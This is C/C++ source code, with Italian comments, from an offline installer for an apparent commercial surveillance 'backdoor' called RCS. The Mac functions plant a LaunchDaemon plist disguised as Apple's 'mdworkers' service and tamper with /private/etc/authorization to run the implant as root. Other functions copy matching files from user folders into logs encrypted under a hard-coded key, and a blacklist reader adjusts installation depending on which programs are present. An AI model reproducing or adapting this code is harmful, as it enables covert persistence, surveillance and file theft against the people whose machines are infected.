18 | UINT uAdditionalData; // Lunghezza della struttura addizionale, se presente
19 | }LogStruct, *pLogStruct;
20 |
21 | typedef struct _FileAdditionalData {
22 | UINT uVersion;
23 | #define LOG_FILE_VERSION 2008122901
24 | UINT uFileNameLen;
25 | } FileAdditionalData, *pFileAdditionalData;
26 |
27 | BYTE global_key[]="\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11";
28 |
29 | BYTE *Log_CreateHeader(DWORD agent_tag, BYTE *additional_data, DWORD additional_len, DWORD *out_len)
30 | {
31 | FILETIME tstamp;
32 | WCHAR user_name[256];
33 | WCHAR host_name[256];
34 | DWORD header_len;
35 | DWORD padded_len;
36 | BYTE iv[BLOCK_LEN];
37 | aes_context crypt_ctx;
38 | BYTE *final_header, *ptr;
39 | LogStruct log_header;
40 |
41 | if (out_len)
42 | *out_len = 0;
43 |
44 | // Calcola i campi da mettere nell'header
45 | memset(user_name, 0, sizeof(user_name));
46 | memset(host_name, 0, sizeof(host_name));
47 | user_name[0]=L'-';
48 | host_name[0]=L'-';
49 | GetSystemTimeAsFileTime(&tstamp);
50 |
51 | // Riempie l'header
52 | log_header.uDeviceIdLen = wcslen(host_name)*sizeof(WCHAR);
53 | log_header.uUserIdLen = wcslen(user_name)*sizeof(WCHAR);
54 | log_header.uSourceIdLen = 0;
55 | if (additional_data)
56 | log_header.uAdditionalData = additional_len;
57 | else
58 | log_header.uAdditionalData = 0;
59 | log_header.uVersion = LOG_VERSION;
60 | log_header.uHTimestamp = tstamp.dwHighDateTime;
61 | log_header.uLTimestamp = tstamp.dwLowDateTime;
62 | log_header.uLogType = agent_tag;
63 |
64 | // Calcola la lunghezza totale dell'header e il padding
65 | header_len = sizeof(LogStruct) + log_header.uDeviceIdLen + log_header.uUserIdLen + log_header.uSourceIdLen + log_header.uAdditionalData;
66 | padded_len = header_len;
67 | if (padded_len % BLOCK_LEN) {
68 | padded_len /= BLOCK_LEN;
69 | padded_len++;
70 | padded_len *= BLOCK_LEN;
71 | }
72 | padded_len += sizeof(DWORD);
73 | if (padded_len < header_len)
74 | return NULL;
75 | final_header = (BYTE *)malloc(padded_len);
76 | if (!final_header)
77 | return NULL;
78 | ptr = final_header;
79 |
80 | // Scrive l'header
81 | header_len = padded_len - sizeof(DWORD);
82 | header_len |= 0x80000000; // Setta il bit alto per distinguerlo dagli altri tipi di log
83 | memcpy(ptr, &header_len, sizeof(DWORD));
84 | ptr += sizeof(DWORD);
85 | memcpy(ptr, &log_header, sizeof(log_header));
86 | ptr += sizeof(log_header);
87 | memcpy(ptr, host_name, log_header.uDeviceIdLen);
88 | ptr += log_header.uDeviceIdLen;
89 | memcpy(ptr, user_name, log_header.uUserIdLen);
90 | ptr += log_header.uUserIdLen;
91 | if (additional_data)
92 | memcpy(ptr, additional_data, additional_len);
93 |
94 | // Cifra l'header (la prima DWORD e' in chiaro)
95 | memset(iv, 0, sizeof(iv));
96 | aes_set_key( &crypt_ctx, global_key, 128);
97 | aes_cbc_encrypt(&crypt_ctx, iv, final_header+sizeof(DWORD), final_header+sizeof(DWORD), padded_len-sizeof(DWORD));
98 | if (out_len)
99 | *out_len = padded_len;
100 |
101 | return final_header;
102 | }
103 |
104 | BYTE *EncryptBuffer(BYTE *buff, DWORD buff_len, DWORD *crypt_len)
105 | {
106 | DWORD *ptr; // Indice nel buffer cifrato
107 | BYTE *crypt_buff;
108 | DWORD tot_len;
109 | aes_context crypt_ctx;
110 | BYTE iv[BLOCK_LEN];
111 |
112 | tot_len = buff_len;
113 | if (tot_len % BLOCK_LEN) {
114 | tot_len /= BLOCK_LEN;
115 | tot_len++;
116 | tot_len *= BLOCK_LEN;
117 | }
118 | tot_len += sizeof(DWORD);
119 |
120 | // Check overflow
121 | if (tot_len < buff_len)
122 | return NULL;
123 |
124 | // Alloca il buffer
125 | crypt_buff = (BYTE *)malloc(tot_len);
126 | if (!crypt_buff)
127 | return NULL;
128 |
129 | *crypt_len = tot_len;
130 |
131 | // Copia la lunghezza originale
132 | ptr = (DWORD *)crypt_buff;
133 | *ptr = buff_len;
134 | ptr++;
135 |
136 | // Copia il buffer in chiaro (rimarranno dei byte di padding
137 | // inutilizzati).
138 | memcpy(ptr, buff, buff_len);
139 | memset(iv, 0, sizeof(iv));
140 | aes_set_key( &crypt_ctx, global_key, 128);
141 |
142 | // Cifra tutto il blocco
143 | aes_cbc_encrypt(&crypt_ctx, iv, (BYTE *)ptr, (BYTE *)ptr, tot_len-sizeof(DWORD));
144 |
145 | return crypt_buff;
146 | }
147 |
148 | BOOL Log_WriteFile(HANDLE handle, BYTE *clear_buffer, DWORD clear_len)
149 | {
150 | DWORD dwTmp;
151 | BOOL ret_val;
152 | DWORD crypt_len = 0;
153 | BYTE *crypt_buffer = NULL;
154 |
155 | if (handle == INVALID_HANDLE_VALUE || clear_len == 0 || clear_buffer == NULL)
156 | return FALSE;
157 |
158 | if (!(crypt_buffer = EncryptBuffer(clear_buffer, clear_len, &crypt_len))) {
159 | SAFE_FREE(crypt_buffer);
160 | return FALSE;
161 | }
162 |
163 | ret_val = WriteFile(handle, crypt_buffer, crypt_len, &dwTmp, NULL);
164 | SAFE_FREE(crypt_buffer);
165 | return ret_val;
166 | }
167 |
168 | WCHAR *CompleteDirectoryPath(WCHAR *start_path, WCHAR *file_name, WCHAR *dest_path)
169 | {
170 | WCHAR *term;
171 |
172 | _snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s", start_path);
173 | if ( (term = wcsrchr(dest_path, L'\\')) ) {
174 | term++;
175 | *term = NULL;
176 | _snwprintf_s(dest_path, MAX_PATH, _TRUNCATE, L"%s%s", dest_path, file_name);
177 | }
178 |
179 | return dest_path;
180 | }
181 |
182 | WCHAR *RecurseDirectory(WCHAR *start_path, WCHAR *recurse_path)
183 | {
184 | _snwprintf_s(recurse_path, MAX_PATH, _TRUNCATE, L"%s\\*", start_path);
185 | return recurse_path;
186 | }
187 |
188 | void CaptureFile(WCHAR *file_path, WCHAR *dest_dir)
189 | {
190 | static DWORD i = 0;
191 | FileAdditionalData *file_additional_data;
192 | BYTE *log_file_header;
193 | BYTE *temp_buff;
194 | DWORD header_len;
195 | DWORD dwRead;
196 | FILETIME time_nanosec;
197 | WCHAR dest_file_path[MAX_PATH];
198 | HANDLE shfile, dhfile;
199 |
200 | if ( !(file_additional_data = (FileAdditionalData *)malloc(sizeof(FileAdditionalData) + wcslen(file_path) * sizeof(WCHAR))))
201 | return;
202 |
203 | file_additional_data->uVersion = LOG_FILE_VERSION;
204 | file_additional_data->uFileNameLen = wcslen(file_path) * sizeof(WCHAR);
205 | memcpy(file_additional_data+1, file_path, file_additional_data->uFileNameLen);
206 |
207 | log_file_header = Log_CreateHeader(PM_FILEAGENT_CAPTURE, (BYTE *)file_additional_data, file_additional_data->uFileNameLen + sizeof(FileAdditionalData), &header_len);
208 | SAFE_FREE(file_additional_data);
209 | if (!log_file_header)
210 | return;
211 |
212 | GetSystemTimeAsFileTime(&time_nanosec);
213 | _snwprintf_s(dest_file_path, sizeof(dest_file_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%.4X%.8X%.8X.log", dest_dir, i++, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
214 | dhfile = CreateFileW(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
215 | if (dhfile == INVALID_HANDLE_VALUE) {
216 | SAFE_FREE(log_file_header);
217 | return;
218 | }
219 |
220 | shfile = CreateFileW(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
221 | if (shfile == INVALID_HANDLE_VALUE) {
222 | SAFE_FREE(log_file_header);
223 | CloseHandle(dhfile);
224 | return;
225 | }
226 |
227 | if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
228 | SAFE_FREE(log_file_header);
229 | CloseHandle(shfile);
230 | CloseHandle(dhfile);
231 | return;
232 | }
233 |
234 | if (WriteFile(dhfile, log_file_header, header_len, &dwRead, NULL)) {
235 | LOOP {
236 | dwRead = 0;
237 | if (!ReadFile(shfile, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
238 | break;
239 | if (!Log_WriteFile(dhfile, temp_buff, dwRead))
240 | break;
241 | }
242 | }
243 |
244 | SAFE_FREE(temp_buff);
245 | SAFE_FREE(log_file_header);
246 | CloseHandle(shfile);
247 | CloseHandle(dhfile);
248 | }
249 |
250 | BOOL FileMatchMask(WCHAR *file_name, WCHAR **masks)
251 | {
252 | if (!masks || !file_name)
253 | return FALSE;
254 |
255 | for (DWORD i=0; masks[i]; i++)
256 | if (CmpWildW(masks[i], file_name))
257 | return TRUE;
258 |
259 | return FALSE;
260 | }
261 |
262 |
263 | void ExploreDirectoryAndCapture(WCHAR *start_path, DWORD depth, WCHAR **masks, WCHAR *dest_dir)
264 | {
265 | WIN32_FIND_DATAW finddata;
266 | HANDLE hfind;
267 | WCHAR file_path[MAX_PATH], recurse_path[MAX_PATH];
268 |
269 | if (depth==0)
270 | return;
271 | hfind = FindFirstFileW(start_path, &finddata);
272 | if (hfind == INVALID_HANDLE_VALUE)
273 | return;
274 | do {
275 | if (!wcscmp(finddata.cFileName, L".") || !wcscmp(finddata.cFileName, L"..") || !_wcsicmp(finddata.cFileName, L"Temporary Internet Files") ||
276 | !_wcsicmp(finddata.cFileName, L"AppData") || !_wcsicmp(finddata.cFileName, L"Local Settings") ||
277 | !_wcsicmp(finddata.cFileName, L"Application Data") || !_wcsicmp(finddata.cFileName, L"Cookies"))
278 | continue;
279 |
280 | CompleteDirectoryPath(start_path, finddata.cFileName, file_path);
281 |
282 | if (finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
283 | ExploreDirectoryAndCapture(RecurseDirectory(file_path, recurse_path), depth-1, masks, dest_dir);
284 | else if (FileMatchMask(finddata.cFileName, masks))
285 | CaptureFile(file_path, dest_dir);
286 |
287 | } while(FindNextFileW(hfind, &finddata));
288 | FindClose(hfind);
289 | }
290 |
291 | WCHAR **PopulateMasks(WCHAR *patterns)
292 | {
293 | WCHAR *l_patterns = NULL;
294 | WCHAR *ptr, *end;
295 | WCHAR **masks = NULL;
296 | DWORD p_count = 0, i;
297 |
298 | if (!patterns)
299 | return NULL;
300 | if (!(l_patterns = _wcsdup(patterns)))
301 | return NULL;
302 |
303 | for(ptr=l_patterns, p_count=1; ptr=wcschr(ptr, L'|'); p_count++, ptr++);
304 | if (!(masks = (WCHAR **)calloc(p_count+1, sizeof(WCHAR *)))) {
305 | SAFE_FREE(l_patterns);
306 | return NULL;
307 | }
308 |
309 | ptr = l_patterns;
310 | i = 0;
311 | LOOP {
312 | if (end = wcschr(ptr, L'|'))
313 | *end = 0;
314 | masks[i] = _wcsdup(ptr);
315 | if (!end)
316 | break;
317 | ptr = end+1;
318 | i++;
319 | }
320 |
321 | SAFE_FREE(l_patterns);
322 | return masks;
323 | }
324 |
325 | void FreeMasks(WCHAR **masks)
326 | {
327 | for (DWORD i=0; masks[i]; i++)
328 | SAFE_FREE(masks[i]);
329 | }
--------------------------------------------------------------------------------
/OfflineInstall/Functions_RCS_MAC.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "Functions_Users.h"
3 | #include "commons.h"
4 |
5 | #define TEMPORARY_LOADER L"4872364829"
6 |
7 | char _mdworker_content[]= ""
8 | ""
9 | ""
10 | ""
11 | "Label"
12 | "com.apple.mdworkers.%S"
13 | "ProgramArguments"
14 | ""
15 | "%S/Library/Preferences/%S_/%S"
16 | "%S"
17 | "%S"
18 | "%S"
19 | ""
20 | "KeepAlive"
21 | ""
22 | "SuccessfulExit"
23 | ""
24 | ""
25 | ""
26 | "";
27 |
28 | #define BUFFER_SIZE 10000
29 | BOOL SafeCopyFile(WCHAR *source_path, WCHAR *dest_path, BOOL destMustExist)
30 | {
31 | BYTE *buffer;
32 | HANDLE hs, hd;
33 | DWORD read, write;
34 |
35 | buffer = (BYTE *)malloc(BUFFER_SIZE);
36 | if (!buffer)
37 | return FALSE;
38 |
39 | hs = CreateFile(source_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
40 | if (hs == INVALID_HANDLE_VALUE) {
41 | SAFE_FREE(buffer);
42 | return FALSE;
43 | }
44 |
45 | if (destMustExist)
46 | hd = CreateFile(dest_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
47 | else
48 | hd = CreateFile(dest_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
49 | if (hd == INVALID_HANDLE_VALUE) {
50 | CloseHandle(hs);
51 | SAFE_FREE(buffer);
52 | return FALSE;
53 | }
54 |
55 | while(ReadFile(hs, buffer, BUFFER_SIZE, &read, NULL) && read!=0) {
56 | if (!WriteFile(hd, buffer, read, &write, NULL) || write!=read) {
57 | CloseHandle(hs);
58 | CloseHandle(hd);
59 | SAFE_FREE(buffer);
60 | return FALSE;
61 | }
62 | }
63 |
64 | SetEndOfFile(hd);
65 | CloseHandle(hs);
66 | CloseHandle(hd);
67 | SAFE_FREE(buffer);
68 | return TRUE;
69 | }
70 |
71 | WCHAR auth_file_name[64];
72 |
73 | HANDLE CreateRootFile(os_struct_t *os_info)
74 | {
75 | WCHAR source_path[MAX_PATH], dest_path[MAX_PATH];
76 | HANDLE thandle;
77 |
78 | swprintf_s(source_path, MAX_PATH, L"%s\\private\\etc\\authorization", os_info->drive);
79 | thandle = CreateFile(source_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
80 | if (thandle != INVALID_HANDLE_VALUE) {
81 | swprintf_s(auth_file_name, 64, L"authorization");
82 | CloseHandle(thandle);
83 | } else {
84 | swprintf_s(source_path, MAX_PATH, L"%s\\private\\etc\\authorization.deprecated", os_info->drive);
85 | thandle = CreateFile(source_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
86 | if (thandle != INVALID_HANDLE_VALUE) {
87 | swprintf_s(auth_file_name, 64, L"authorization.deprecated");
88 | CloseHandle(thandle);
89 | } else {
90 | swprintf_s(auth_file_name, 64, L"nonexistent");
91 | return INVALID_HANDLE_VALUE;
92 | }
93 | }
94 |
95 | swprintf_s(source_path, MAX_PATH, L"%s\\private\\etc\\%s", os_info->drive, auth_file_name);
96 | swprintf_s(dest_path, MAX_PATH, L"%s\\private\\etc\\authorization.bu", os_info->drive);
97 | if (!CopyFile(source_path, dest_path, FALSE))
98 | return INVALID_HANDLE_VALUE;
99 |
100 | swprintf_s(dest_path, MAX_PATH, L"%s\\private\\etc\\authorization.mod", os_info->drive);
101 | MoveFile(source_path, dest_path);
102 | return CreateFile(dest_path, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, TRUNCATE_EXISTING, NULL, NULL);
103 | }
104 |
105 | BOOL SaveRootFile(HANDLE hfile, WCHAR *plist_path, os_struct_t *os_info, BOOL success)
106 | {
107 | WCHAR source_path[MAX_PATH], dest_path[MAX_PATH];
108 |
109 | CloseHandle(hfile);
110 | swprintf_s(dest_path, MAX_PATH, L"%s\\private\\etc\\%s", os_info->drive, auth_file_name);
111 | swprintf_s(source_path, MAX_PATH, L"%s\\private\\etc\\authorization.bu", os_info->drive);
112 | CopyFile(source_path, dest_path, FALSE);
113 | DeleteFile(source_path);
114 |
115 | swprintf_s(source_path, MAX_PATH, L"%s\\private\\etc\\authorization.mod", os_info->drive);
116 |
117 | if (success)
118 | return MoveFile(source_path, plist_path);
119 | else
120 | return DeleteFile(source_path);
121 | }
122 |
123 | void MAC_GetSourceFileDirectory(users_struct_t *user_info, rcs_struct_t *rcs_info, os_struct_t *os_info, WCHAR *src_path)
124 | {
125 | HANDLE hfile;
126 |
127 | _snwprintf_s(src_path, MAX_PATH, _TRUNCATE, L"%s%s\\Library\\Preferences\\%s", os_info->drive, SlashToBackSlash(user_info->user_home), rcs_info->hdir);
128 | hfile = CreateFile(src_path, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
129 | if (hfile != INVALID_HANDLE_VALUE) {
130 | CloseHandle(hfile);
131 | return;
132 | }
133 | // Se non ha trovato il nome nuovo, cerca quello vecchio con .app
134 | _snwprintf_s(src_path, MAX_PATH, _TRUNCATE, L"%s%s\\Library\\Preferences\\%s.app", os_info->drive, SlashToBackSlash(user_info->user_home), rcs_info->hdir);
135 | }
136 |
137 | BOOL MAC_RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info)
138 | {
139 | WCHAR tmp_path[MAX_PATH*2];
140 | WCHAR tmp_path2[MAX_PATH*2];
141 | HANDLE hFind, hfile;
142 | WIN32_FIND_DATA file_info;
143 | DWORD w_len, dummy;
144 |
145 | WCHAR temp_backdoor_path[MAX_PATH];
146 | WCHAR plist_path[MAX_PATH];
147 |
148 | char mdworker_plist_content[2048];
149 |
150 | if (!rcs_info || !user_info || !os_info)
151 | return FALSE;
152 |
153 | // hdir con un '_' indica la directory temporanea dove vengono droppati i file per l'installazione
154 | swprintf_s(temp_backdoor_path, MAX_PATH, L"%s%s\\Library\\Preferences\\%s_", os_info->drive, user_info->user_home, rcs_info->hdir);
155 | sprintf_s(mdworker_plist_content, sizeof(mdworker_plist_content), _mdworker_content, user_info->user_name, user_info->user_home, rcs_info->hdir, TEMPORARY_LOADER, user_info->user_name, rcs_info->hdir, rcs_info->hcore);
156 | swprintf_s(plist_path, MAX_PATH, L"%sSystem\\Library\\LaunchDaemons\\com.apple.mdworkers.%s.plist", os_info->drive, user_info->user_name);
157 |
158 | // Crea la directory temporanea
159 | ClearAttributes(temp_backdoor_path);
160 | if (!CreateDirectory(temp_backdoor_path, NULL) && (GetLastError()!=ERROR_ALREADY_EXISTS))
161 | return FALSE;
162 |
163 | // Crea l'mdworker per il primo avvio
164 | hfile = CreateRootFile(os_info);
165 | if (hfile == INVALID_HANDLE_VALUE)
166 | return FALSE;
167 |
168 | if (!WriteFile(hfile, mdworker_plist_content, strlen(mdworker_plist_content), &w_len, NULL) || w_len!=strlen(mdworker_plist_content)) {
169 | SaveRootFile(hfile, plist_path, os_info, FALSE);
170 | return FALSE;
171 | }
172 | if (!SaveRootFile(hfile, plist_path, os_info, TRUE))
173 | return FALSE;
174 |
175 | // Crea un marker nella directory temporanea
176 | _snwprintf_s(plist_path, MAX_PATH, _TRUNCATE, L"%s\\00", temp_backdoor_path);
177 | hfile = CreateFile(plist_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, NULL, NULL);
178 | if (hfile == INVALID_HANDLE_VALUE)
179 | return FALSE;
180 | WriteFile(hfile, "00", 2, &dummy, NULL);
181 | CloseHandle(hfile);
182 |
183 | // Copia i file nella directory temporanea
184 | swprintf_s(tmp_path, MAX_PATH, L"%s\\OSX\\*", rcs_info->rcs_files_path);
185 | hFind = FindFirstFile(tmp_path, &file_info);
186 | if (hFind != INVALID_HANDLE_VALUE) {
187 | do {
188 | // Salta le directory (es: ".", ".." etc...)
189 | if (file_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
190 | continue;
191 |
192 | swprintf_s(tmp_path, MAX_PATH, L"%s\\OSX\\%s", rcs_info->rcs_files_path, file_info.cFileName);
193 | swprintf_s(tmp_path2, MAX_PATH, L"%s\\%s", temp_backdoor_path, file_info.cFileName);
194 |
195 | ClearAttributes(tmp_path2);
196 | if (!SafeCopyFile(tmp_path, tmp_path2, FALSE)) {
197 | FindClose(hFind);
198 | return FALSE;
199 | }
200 | } while (FindNextFile(hFind, &file_info));
201 | if (GetLastError() != ERROR_NO_MORE_FILES) {
202 | FindClose(hFind);
203 | return FALSE;
204 | }
205 | FindClose(hFind);
206 | } else
207 | return FALSE;
208 |
209 | return TRUE;
210 | }
211 |
212 | BOOL MAC_RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info)
213 | {
214 | WCHAR backdoor_path[MAX_PATH];
215 |
216 | if (!rcs_info || !user_info || !os_info)
217 | return FALSE;
218 |
219 | // Cancella la directory temporanea (nel caso la backdoor non abbia mai runnato)
220 | swprintf_s(backdoor_path, MAX_PATH, L"%s%s\\Library\\Preferences\\%s_", os_info->drive, SlashToBackSlash(user_info->user_home), rcs_info->hdir);
221 | DeleteDirectory(backdoor_path);
222 |
223 | // Cancella il plist del primo avvio (se la bacdkoor non ha mai runnato)
224 | swprintf_s(backdoor_path, MAX_PATH, L"%sSystem\\Library\\LaunchDaemons\\com.apple.mdworkers.%s.plist", os_info->drive, user_info->user_name);
225 | DeleteFile(backdoor_path);
226 |
227 | // Cancella il plist della backdoor
228 | _snwprintf_s(backdoor_path, MAX_PATH, _TRUNCATE, L"%s%s\\Library\\LaunchAgents\\com.apple.mdworker.plist", os_info->drive, SlashToBackSlash(user_info->user_home));
229 | ClearAttributes(backdoor_path);
230 | DeleteFile(backdoor_path);
231 |
232 | // Cancella il plist della backdoor
233 | _snwprintf_s(backdoor_path, MAX_PATH, _TRUNCATE, L"%s%s\\Library\\LaunchAgents\\com.apple.UIServerLogin.plist", os_info->drive, SlashToBackSlash(user_info->user_home));
234 | ClearAttributes(backdoor_path);
235 | DeleteFile(backdoor_path);
236 |
237 | // Cancella il plist della backdoor
238 | _snwprintf_s(backdoor_path, MAX_PATH, _TRUNCATE, L"%s%s\\Library\\LaunchAgents\\com.apple.loginStoreagent.plist", os_info->drive, SlashToBackSlash(user_info->user_home));
239 | ClearAttributes(backdoor_path);
240 | DeleteFile(backdoor_path);
241 |
242 | // Cancella tutti i file e la directory
243 | MAC_GetSourceFileDirectory(user_info, rcs_info, os_info, backdoor_path);
244 | DeleteDirectory(backdoor_path);
245 |
246 | return TRUE;
247 | }
248 |
249 |
250 | BOOL MAC_DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *users_list_head)
251 | {
252 | return TRUE;
253 | }
254 |
255 | BOOL MAC_DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *users_list_head, DWORD installation_count)
256 | {
257 | WCHAR backdoor_path[MAX_PATH];
258 |
259 | // Rimuove l'input manager quando si toglie l'ultima istanza della backdoor
260 | if (installation_count == 0) {
261 | swprintf_s(backdoor_path, MAX_PATH, L"%sLibrary\\ScriptingAdditions\\appleOsax", os_info->drive);
262 | DeleteDirectory(backdoor_path);
263 | swprintf_s(backdoor_path, MAX_PATH, L"%sLibrary\\ScriptingAdditions\\UIServerEvents", os_info->drive);
264 | DeleteDirectory(backdoor_path);
265 | swprintf_s(backdoor_path, MAX_PATH, L"%sLibrary\\InputManagers\\appleHID", os_info->drive);
266 | DeleteDirectory(backdoor_path);
267 | }
268 |
269 | return TRUE;
270 | }
271 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_RCS.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "Functions_Users.h"
3 | #include "Functions_RCS.h"
4 | #include "Functions_RCS_WIN.h"
5 | #include "Functions_RCS_MAC.h"
6 | #include "DumpFiles.h"
7 | #include "commons.h"
8 |
9 | #define MAX_BL_PROGRAM_COUNT 50
10 | #define MAX_BL_PROGRAM_NAME 100
11 |
12 | typedef struct blporgrams {
13 | WCHAR name[MAX_BL_PROGRAM_NAME];
14 | #define ARCH_ANY 0
15 | DWORD arch;
16 | BOOL allow_soldier;
17 | } blporgrams_t;
18 |
19 | blporgrams_t BLPrograms[MAX_BL_PROGRAM_COUNT];
20 | DWORD bl_program_count = 0;
21 |
22 | BOOL GetSourceFileDirectory(users_struct_t *curr_user, os_struct_t *curr_elem, rcs_struct_t *rcs_info, WCHAR *src_path)
23 | {
24 | if (curr_elem->os == WIN_OS) {
25 | WIN_GetSourceFileDirectory(curr_user, rcs_info, src_path);
26 | return TRUE;
27 | } else if (curr_elem->os == MAC_OS) {
28 | MAC_GetSourceFileDirectory(curr_user, rcs_info, curr_elem, src_path);
29 | return TRUE;
30 | } else
31 | return FALSE; // UNKNOWN
32 | }
33 |
34 | DWORD IsDangerousString(WCHAR *program_name, os_struct_t *os_info)
35 | {
36 | DWORD i, ret_val = BL_SAFE;
37 |
38 | for (i=0; iarch)) {
40 | if (BLPrograms[i].allow_soldier)
41 | ret_val = BL_ALLOWSOLDIER;
42 | else
43 | return BL_BLACKLISTED;
44 | }
45 | return ret_val;
46 | }
47 |
48 | void PopulateDangerousString(rcs_struct_t *rcs_info)
49 | {
50 | HANDLE hfile, hMap;
51 | WCHAR bl_path[MAX_PATH];
52 | char *bl_map, *ptr;
53 | WCHAR *w_ptr;
54 | WCHAR *temp_name = NULL;
55 |
56 | bl_program_count = 0;
57 |
58 | swprintf_s(bl_path, MAX_PATH, L"%s\\blacklist", rcs_info->rcs_files_path);
59 | hfile = CreateFile(bl_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
60 | if (hfile == INVALID_HANDLE_VALUE)
61 | return;
62 |
63 | if ((hMap = CreateFileMappingW(hfile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
64 | CloseHandle(hfile);
65 | return;
66 | }
67 |
68 | if ( (bl_map = (char *)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) ) {
69 | for(ptr = bl_map; ptr && bl_program_count < MAX_BL_PROGRAM_COUNT;) {
70 |
71 | if (!(temp_name = UTF8_2_UTF16(ptr)))
72 | break;
73 |
74 | // Formato A|B|C|D|Nome\r\n
75 | // A = Versione (numero, 1 byte)
76 | // B = * se vale per tutti i metodi di infezione, N se vale solo per l'upgrade da scout
77 | // C = B se blacklisted, S se permette di installare il soldier
78 |
79 | // La considera solo se e' una regola anche per l'offline
80 | if (temp_name[2] == L'*') {
81 |
82 | if (temp_name[4] == L'S')
83 | BLPrograms[bl_program_count].allow_soldier = TRUE;
84 | else
85 | BLPrograms[bl_program_count].allow_soldier = FALSE;
86 |
87 | if (temp_name[6] == L'3') // Vede se e' 32
88 | BLPrograms[bl_program_count].arch = 32;
89 | else if (temp_name[6] == L'6') // Vede se e' 64
90 | BLPrograms[bl_program_count].arch = 64;
91 | else
92 | BLPrograms[bl_program_count].arch = ARCH_ANY;
93 |
94 | // Toglie l'a capo finale e inserisce un altro *
95 | if (w_ptr = wcschr(temp_name, L'\r'))
96 | *w_ptr = 0;
97 | if (w_ptr = wcschr(temp_name, L'\n'))
98 | *w_ptr = 0;
99 |
100 | if (w_ptr = wcschr(&(temp_name[6]), L'|')) {
101 | w_ptr++;
102 | _snwprintf_s(BLPrograms[bl_program_count].name, MAX_BL_PROGRAM_NAME, _TRUNCATE, L"*%s*", w_ptr);
103 | bl_program_count++;
104 | }
105 | }
106 |
107 | SAFE_FREE(temp_name);
108 | if (ptr = strchr(ptr, '\n'))
109 | ptr++;
110 | }
111 |
112 | UnmapViewOfFile(bl_map);
113 | }
114 | CloseHandle(hMap);
115 | CloseHandle(hfile);
116 | }
117 |
118 | BOOL ReadRCSInfo(rcs_struct_t *rcs_info)
119 | {
120 | WCHAR drive_list[512];
121 | WCHAR mask_string[4096];
122 | WCHAR scramble_byte[16];
123 | DWORD drive_len, i;
124 | HANDLE hfile;
125 |
126 | if(!(drive_len = GetLogicalDriveStrings(sizeof(drive_list) / sizeof(drive_list[0]), drive_list)))
127 | return FALSE;
128 |
129 | rcs_info->rcs_files_path[0] = L'\0';
130 |
131 | for(i = 0; i < drive_len; i += 4) {
132 | swprintf_s(rcs_info->rcs_ini_path, MAX_PATH, L"%s%s", &drive_list[i], L"RCSPE\\rcs.ini");
133 | hfile = CreateFile(rcs_info->rcs_ini_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
134 | if (hfile != INVALID_HANDLE_VALUE) {
135 | CloseHandle(hfile);
136 | swprintf_s(rcs_info->rcs_files_path, MAX_PATH, L"%s%s", &drive_list[i], L"RCSPE\\files\\");
137 | break;
138 | }
139 | }
140 |
141 | if(rcs_info->rcs_files_path[0] == L'\0') {
142 | return FALSE;
143 | }
144 |
145 | // Carica la lista dei programmi in blacklist
146 | PopulateDangerousString(rcs_info);
147 |
148 | if(!GetPrivateProfileString(L"RCS", L"VERSION", L"", rcs_info->version, sizeof(rcs_info->version)/sizeof(rcs_info->version[0]), rcs_info->rcs_ini_path)) {
149 | return FALSE;
150 | }
151 | if(!GetPrivateProfileString(L"RCS", L"HDIR", L"", rcs_info->new_hdir, sizeof(rcs_info->new_hdir)/sizeof(rcs_info->new_hdir[0]), rcs_info->rcs_ini_path)) {
152 | return FALSE;
153 | }
154 | if(!GetPrivateProfileString(L"RCS", L"HREG", L"", rcs_info->hreg, sizeof(rcs_info->hreg)/sizeof(rcs_info->hreg[0]), rcs_info->rcs_ini_path)) {
155 | return FALSE;
156 | }
157 | if(!GetPrivateProfileString(L"RCS", L"HCORE", L"", rcs_info->hcore, sizeof(rcs_info->hcore)/sizeof(rcs_info->hcore[0]), rcs_info->rcs_ini_path)) {
158 | return FALSE;
159 | }
160 | if(!GetPrivateProfileString(L"RCS", L"HDRV", L"", rcs_info->hdrv, sizeof(rcs_info->hdrv)/sizeof(rcs_info->hdrv[0]), rcs_info->rcs_ini_path)) {
161 | return FALSE;
162 | }
